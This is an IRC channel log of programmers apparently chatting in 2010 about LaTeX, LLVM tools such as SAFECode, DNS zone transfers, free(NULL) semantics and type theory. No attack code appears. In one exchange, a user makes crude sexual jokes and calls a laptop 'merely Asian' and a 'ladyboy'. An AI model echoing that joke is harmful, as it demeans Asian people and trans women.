1267986572 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not blurry, and the PDFs look exactly the same depending on your font settings. < 1267986572 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(well, I mean, pdf with text in... pdf with a photo of blurry text could of course) < 1267986585 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It looks exactly like the .ps files that TeX generates, in fact. < 1267986597 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1267986632 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Also, I use slight hinting on linux < 1267986645 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What's the LaTeX for the bold, non-italic set names used as variables> < 1267986646 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*variables? < 1267986646 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1267986652 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Like \forall x \in X < 1267986656 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what do you enclose X in? < 1267986662 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, hm *tries to remember* < 1267986703 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :\mathbb N? < 1267986729 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I couldn't remember, so I checked what lyx did when I clicked the button for it :P < 1267986732 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :\mathbb is the doublestruck style, if you want that. < 1267986738 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :\mathbb{N} < 1267986739 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1267986749 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :If you just want non-italic bold, that'd be mathbf. < 1267986756 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Thanks. < 1267986764 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, bold, set -> blackboard bold in my parser < 1267986768 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No, that is italic for single-letter names. < 1267986769 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not sure how that happened < 1267986817 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what fizzie said produces bold here? < 1267986826 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, in lyx preview at least < 1267986866 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sigh. < 1267986898 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I don't know what you want then :/ < 1267986980 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anyway whatever. < 1267987125 0 :Sgeo!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267987214 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267987214 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Whatever indeed; though I have to note that for me \mathbf{X} (even for single-letter strings) certainly produces non-italic bold; I had to use amsmath's \boldsymbol{} recently to get some homework answers compatible with the homework questions, which used italic-bold style for vectors and matrices. < 1267987249 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, the $...$ is in italic-formatted stuff. < 1267987258 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ? < 1267987270 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you use \mathbf{foo} *inside* $$ < 1267987303 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :works for me < 1267987311 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :$$ DESU $$ < 1267987318 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, $$? < 1267987334 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it was between those that it was supposed to be inserted < 1267987337 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not between two of them < 1267987363 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway, isn't display style different? \[ or something ? < 1267987407 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :$$ is set apart, $ is not < 1267987441 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :$$ x $$ is not the recommended way of doing displaymath in LaTeX, though. < 1267987445 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's the older TeX-style. < 1267987452 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :aha < 1267987457 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah; amsmath has a bunch of better options < 1267987468 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well I'm not old enough to having used TeX directly < 1267987470 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :only LaTeX < 1267987475 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :No, I mean, just plain LaTeX has better options; $$ is not even officially part of LaTeX. < 1267987478 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :\[ .. \] is. < 1267987485 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, indeed < 1267987507 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oh, I did not know that < 1267987510 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no one in their right mind uses just plain TeX < 1267987544 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"While the double dollar sign (still) works in LaTeX, it is not part of the "official" LaTeX command set (in fact, most books on LaTeX don't even mention it) and its use is discouraged. Use the bracket pair "\[", "\]" instead." -- though that's from a guide. I think I saw it in a more reputable source too, though. < 1267987547 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(with exception of Knuth and those that implement LaTeX, ConTeXt and such) < 1267987565 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what is the reason for that though? < 1267987569 0 :user2!~mojo@dsl-69-171-137-91.acanac.net JOIN :#esoteric < 1267987580 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :My guess is that it involves equation numbering or such < 1267987613 0 :hiato!unknown@unknown.invalid QUIT :Quit: leaving < 1267987650 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Another guide says that $$ can lead to wrong spacing in "some situations". And yet another says that \[ .. \] is preferred because the ending tag is different, which helps in error checking. It will still do close to the same thing. < 1267987879 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, but then why hasn't $ $ been replaced to help error checking as well? < 1267987909 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :LaTeX does define \( .. \) as a replacement for $ .. $, but I haven't seen anyone seriously advocate the use of that. < 1267987940 0 :user2!unknown@unknown.invalid PART #esoteric :? < 1267987980 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is irritated at llvm.org for not providing a list with all sub projects such as clang and klee
< 1267987996 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the project using llvm list seems to be "non-llvm.org based projects" < 1267988246 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :They seem to call those things sub-projects, but there's not much of a list to be seen. < 1267988267 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I said sub project above yeah < 1267988271 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Ah. < 1267988277 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, klee and clang are the two I know about < 1267988278 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Well, http://llvm.org/docs/ReleaseNotes.html has a sort of a list in the status update section. < 1267988292 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, yes sure, but I want to see the full list, and any that aren't yet there < 1267988306 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also looking at the svn ( http://llvm.org/viewvc/llvm-project/ ) doesn't help much < 1267988312 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for example, cfe turns out to be clang < 1267988352 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah http://compiler-rt.llvm.org/ exists at least < 1267988366 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, trying to do a zone transfer on llvm.org didn't work very well either ;) < 1267988383 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, that rarely works. < 1267988404 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, no idea if it was on my side or their side it was blocked < 1267988440 0 :Wareya!~wareya@cpe-74-70-140-214.nycap.res.rr.com JOIN :#esoteric < 1267988462 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :poolalloc.llvm.org did not exist for example < 1267988463 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Their side, probably. I have a feeling that the current BIND example configs (and defaults for other servers) nowadays allow zone transfers only for explicitly listed secondary nameservers. < 1267988479 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, probably < 1267988483 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why though? < 1267988550 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :To avoid leaking any unnecessary information about the structure of their network, is I guess the official explanation. Not that it should hurt in the usual case, but why go advertise around 1quasi-private things like that if it isn't necessary. < 1267988602 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :1quasi? < 1267988609 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :quasi < 1267988626 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I think that 1 was intentional < 1267988650 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I doubt it. < 1267988658 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :If it was intentional, I don't recall what the intention was. < 1267988747 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267988765 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :this poolalloc thing seems very interesting < 1267988790 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Oh, there's another stated reason; AXFR replies are several times larger than any other (usual) DNS messages, so DNS-based ways of doing DDoS attacks (like the usual: send a whole lot of small UDP dns requests with the same spoofed source IP) are made worse by allowing those. < 1267988851 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :http://www.auscert.org.au/render.html?it=80 for example seems to recommend against it. < 1267989234 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the project "safecode" seems fairly interesting too < 1267989541 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :interesting ones found so far: clang, klee, poolalloc, safecode. Poolalloc seems to be an optimisation pass to automatically detect and rewrite code that would benefit from using a memory pool < 1267989581 0 :tombom_!~tombom@wikipedia/Tombomp JOIN :#esoteric < 1267989690 0 :alise_!~d4b78c23@gateway/web/freenode/x-jgtpqmiorxsolypc JOIN :#esoteric < 1267989795 0 :tombom__!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267989812 0 :alise__!~d4b78c00@gateway/web/freenode/x-zjqaaomalfpcfznj JOIN :#esoteric < 1267989822 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :I think that, on balance, laptops were definitely designed by someone without a penis. < 1267989894 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267989915 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, oh? < 1267989922 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, is it getting fried? < 1267989953 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :XD No. < 1267989960 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267989960 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :It's just not the most comfortable position for a computer < 1267989979 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, I was about to suggest "or because you find it so comfortable?" < 1267989982 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267989986 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :>_< < 1267989990 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Oh; I thought this was some sort of attituditional complaint about laptops lacking some metaphorical BALLS. < 1267990005 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Is that an invisible laptop on your lap or are you just happy to see me? < 1267990011 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, yeah they have nipples instead (at least thinkpads does XD) < 1267990038 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, hey, did I mention that joke someone told me about modern smart phones being so big? < 1267990067 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it went: is that a smartphone in your pocket, or are you just happy to see me? < 1267990081 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :So a manly laptop with a TrackPoint should be referred to as a hermaphrodite? < 1267990105 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, I think you can take a sexual joke too far :P < 1267990108 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster has a laptop from a range that used to be manly and sturdy but is now merely Asian. I hereby refer to it as a ladyboy. < 1267990118 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, haha < 1267990133 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :LadyPad: The laptop that doubles up as a... I'm stopping this right here. < 1267990136 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, you know, when I called lenovo support I ended up at IBM < 1267990138 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :last week < 1267990167 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(a small crack in the plastic that makes up the palm rest, went on warranty, user replaceable part) < 1267990179 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err wait, it was this week even < 1267990185 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :still isn't past midnight < 1267990197 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :should be delivered tomorrow or the day after that I guess < 1267990699 0 :Sgeo!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1267991588 0 :alise__!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267991644 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1267992937 0 :Ilari!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1267993071 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, safecode proved useful too < 1267993079 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :found a wtf in cfunge using it < 1267993094 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :unlikely to actually cause any harm in practise, but very wrong stiff < 1267993095 0 :Ilari!~user@2002:5871:273b::1 JOIN :#esoteric < 1267993096 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :still* < 1267993102 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION ponders whether "A is evidence for B" is equivalent to "~A is evidence for ~B"
< 1267993106 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION corrects the order of those free() calls
< 1267993110 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Defining "A is evidence for B" as P(B|A) > P(B). < 1267993141 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wait no < 1267993144 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that isn't the issue... < 1267993252 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :That's perhaps better expressed as P(A and B) > P(A)*P(B). Take the complement, and you get 1 - P(~A or ~B) > (1 - P(~A))(1 - P(~B)). Expand, and you have 1 - P(~A or ~B) > 1 - P(~A) - P(~B) + P(~A)P(~B)... < 1267993278 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: What'd it find? < 1267993335 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Expand some more, and you have 1 - P(A and B) - P(A and ~B) - P(~A and B) > 1 - P(~A and ~B)P(~A and B) - P(~A and ~B)P(A and ~B) + P(~A)P(~B)... < 1267993347 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :To quote a friend of mine, ow ow ow ow! < 1267993483 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Er, I did that wrong. < 1267993511 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Expand some more, and you have 1 - P(A and B) - P(A and ~B) - P(~A and B) > 1 - P(~A and ~B) - P(~A and B) - P(~A and ~B) - P(A and ~B) + P(~A)P(~B). Which is much better, as we can now eliminate stuff. < 1267993519 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I'm not sure... < 1267993525 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, looking closer at it it makes no sense < 1267993532 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I suspect broken debug info < 1267993561 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, or something. I added a printf debug thingy before that point, it stopped at same point but the printf message was never output < 1267993715 0 :alise!~d4b78c22@gateway/web/freenode/x-twldqtuoexbcaihj JOIN :#esoteric < 1267993772 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267993849 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, -P(A and B) > -2P(~A and ~B) + P(~A)P(~B). Rearrange some: 2P(~A and ~B) > P(A and B) + P(~A)P(~B). < 1267993920 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Let a = P(B|A), b = P(B|~A), c = P(A), d = P(B). Now ac + b(1-c) = d. A being evidence for B means that a > d. OTOH, if ~A is not evidence for ~B, 1 - P(B|~A) <= 1 - P(B) => b >= d. Thus, ac + b(1-c) = d > dc + d(1-c) = d. Impossible. < 1267993949 0 :alise_!~d4b78c14@gateway/web/freenode/x-axrwnqlnulidtauw JOIN :#esoteric < 1267993986 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267993991 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION ponders the implementation of ⊥-elim : ⊥ → ∀a·a
< 1267994032 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Orthodoxy defines it as an empty case-analysis of its argument, giving ⊥-elim x := case x {} < 1267994051 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :But this does not gel if you most commonly do case analysis via pattern matching. < 1267994083 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :This translates to foo p = q; foo q = e' < 1267994084 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So consider foo x := case x {p -> e; q -> e'} < 1267994099 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So, for each case, emit the function with the pattern and result in the appropriate place. < 1267994114 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :This would suggest that the implementation is in fact the null string, and just the type signature should suffice. < 1267994116 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :But then what of type inferrence? < 1267994123 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay this does indeed make no sense.. < 1267994128 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Define this. < 1267994164 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, the "bug" the experimental llvm tool sc detected < 1267994176 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :k < 1267994180 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because switching order of two statements make the second error out. And they should not affect each other < 1267994198 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :freeing two different fields in a struct < 1267994206 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(both are pointers) < 1267994209 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Agda implements it as "⊥-elim ()". < 1267994224 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I assume () is just an empty nesting there, but doing /any/ case analysis on the empty type should be verboten. < 1267994246 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Having no right-hand side, meanwhile, basically makes it mandatory that the compiler c < 1267994250 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*handles this special case. < 1267994293 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Perhaps the empty case analysis is still the best. < 1267994315 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Complete: < 1267994325 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :data ⊥ : Type < 1267994341 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries again with llvm-gcc instead of clang to generate the llvm .bc files
< 1267994365 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fun that crashes in *yet* another place < 1267994398 0 :alise!~d4b78c14@gateway/web/freenode/x-busxbvkumklmlfqm JOIN :#esoteric < 1267994416 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and something likes to strip the debug info down to bare minimum < 1267994424 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Fuck this < 1267994433 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :data ⊥ : Type < 1267994448 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, 3G stick? < 1267994491 0 :alise__!~d4b78c14@gateway/web/freenode/x-hxnfiujyjzwrfkfj JOIN :#esoteric < 1267994507 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay, now it reliably crashes in the same place (using llvm-gcc) irrespective of the order of the calls there < 1267994514 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :\zxdcfghjk < 1267994521 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, 3G stick? < 1267994531 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :data ⊥ : Type < 1267994533 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :⊥-elim : ⊥ → ∀a·a < 1267994535 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :⊥-elim false := case false {} < 1267994542 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :hd < 1267994544 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :yesssssssssss < 1267994546 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :irejg < 1267994550 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :i sent it all before disconnecting < 1267994575 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh I think it dislikes me freeing the null pointer < 1267994577 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :perhaps < 1267994580 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267994582 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which should be valid < 1267994594 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :it's unreliable < 1267994606 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, what? free(NULL)? < 1267994621 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :yes. many systems behave badly < 1267994635 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, even C89 says that should be valid < 1267994649 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so you don't need to check if everything was allocated in the structure you are freeing up < 1267994661 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :by having (free NULL ≡ ⊥) < 1267994666 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, ..? < 1267994669 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: tough < 1267994671 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :it's still unreliable < 1267994673 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :anyway < 1267994675 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :then you could do < 1267994680 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, examples of systems it fails on? < 1267994684 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :⊥-elim (free NULL) < 1267994685 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sure I can add an if() < 1267994690 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :and derive ANYTHING! < 1267994690 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267994698 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: mostly old ones, I am not your personal memory bank < 1267994702 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :but I know it's true < 1267994719 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, I doubt llvm targets them though < 1267994732 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :it's still trying to help you avoid bugs < 1267994734 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :stop whinging < 1267994742 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267994744 0 :dougx!~dougx@vc-41-29-17-49.umts.vodacom.co.za JOIN :#esoteric < 1267994764 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, I take advantage of free(NULL) in cfunge. If so it should be possible to turn that warning off. :/ < 1267994800 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :It's a bug-finding tool. < 1267994803 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :It's supposed to annoy you. < 1267994820 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, actually sc is supposed to add run time checks to production code for actual bugs < 1267994834 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so it detects (with low overhead) out of array bounds access and such < 1267994835 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in C code < 1267994861 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :K < 1267994867 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, also it gives error for my call to putchar() < 1267994873 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well according to the line number at least < 1267994903 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :perhaps due to using a VLA in that function. I don't know < 1267994906 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :As a slightly related thing, ANSI C allows realloc(NULL, x) as equivalent to malloc(x), but at least according to comp.lang.c FAQ "several earlier implementations do not support it, so it may not be fully portable"; they don't list problematic implementations, though. < 1267994922 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :free(NULL) might be more common than realloc(NULL, x), though.. < 1267994925 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, heh, another thing I made use of somewhere < 1267994936 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to just need one code path instead of two < 1267995031 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :realloc(NULL, x) isn't uncommon at all. < 1267995071 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Maybe not, since it's reasonably convenient. < 1267995085 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :However, it's OK for the same reason as free(NULL), for data structures with e.g. a length and pointer field, where the length is zero if the pointer is NULL. Ignore the length's value, expand, realloc, you're OK. < 1267995137 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, yeah pretty much how I used it iirc < 1267995155 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :For that sort of thing having a fixed "prevsize*2" rule for the expanding is not a very good idea, though. :p < 1267995193 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :True :P < 1267995238 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also it reports alignment error on calling a function pointer < 1267995240 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :either that < 1267995259 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or on assigning the return value to a bool < 1267995307 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders whatever is on 0x419d70
< 1267995320 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well the debug info is mostly stripped somewhere (I don't know where, irritating anyway) < 1267995325 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so I can't figure it out really < 1267995545 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm... seems to be the function pointer itself < 1267995549 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and I suspect it is wrong here < 1267995659 0 :Guest21507!~droid@253.sub-97-241-243.myvzw.com JOIN :#esoteric < 1267995673 0 :Guest21507!unknown@unknown.invalid QUIT :Client Quit < 1267996209 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, also it seems to dislike calling free() on something you got from strdup() < 1267996228 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which the man page explicitly says should be freed using free() < 1267996257 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :lolwtf < 1267996283 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, well, it is an svn version, and there is no stable version yet < 1267996287 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so I'm not *too* surprised < 1267996301 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, you know how it is with llvm projects I assume < 1267996301 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :? < 1267996314 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Not much of a clue. < 1267996318 0 :alise__!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267996327 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you are *bound* to get at least two assertion errors on anything non-trivial < 1267996336 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that requires some tracking down to figure out what the heck is going on < 1267996364 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(in this 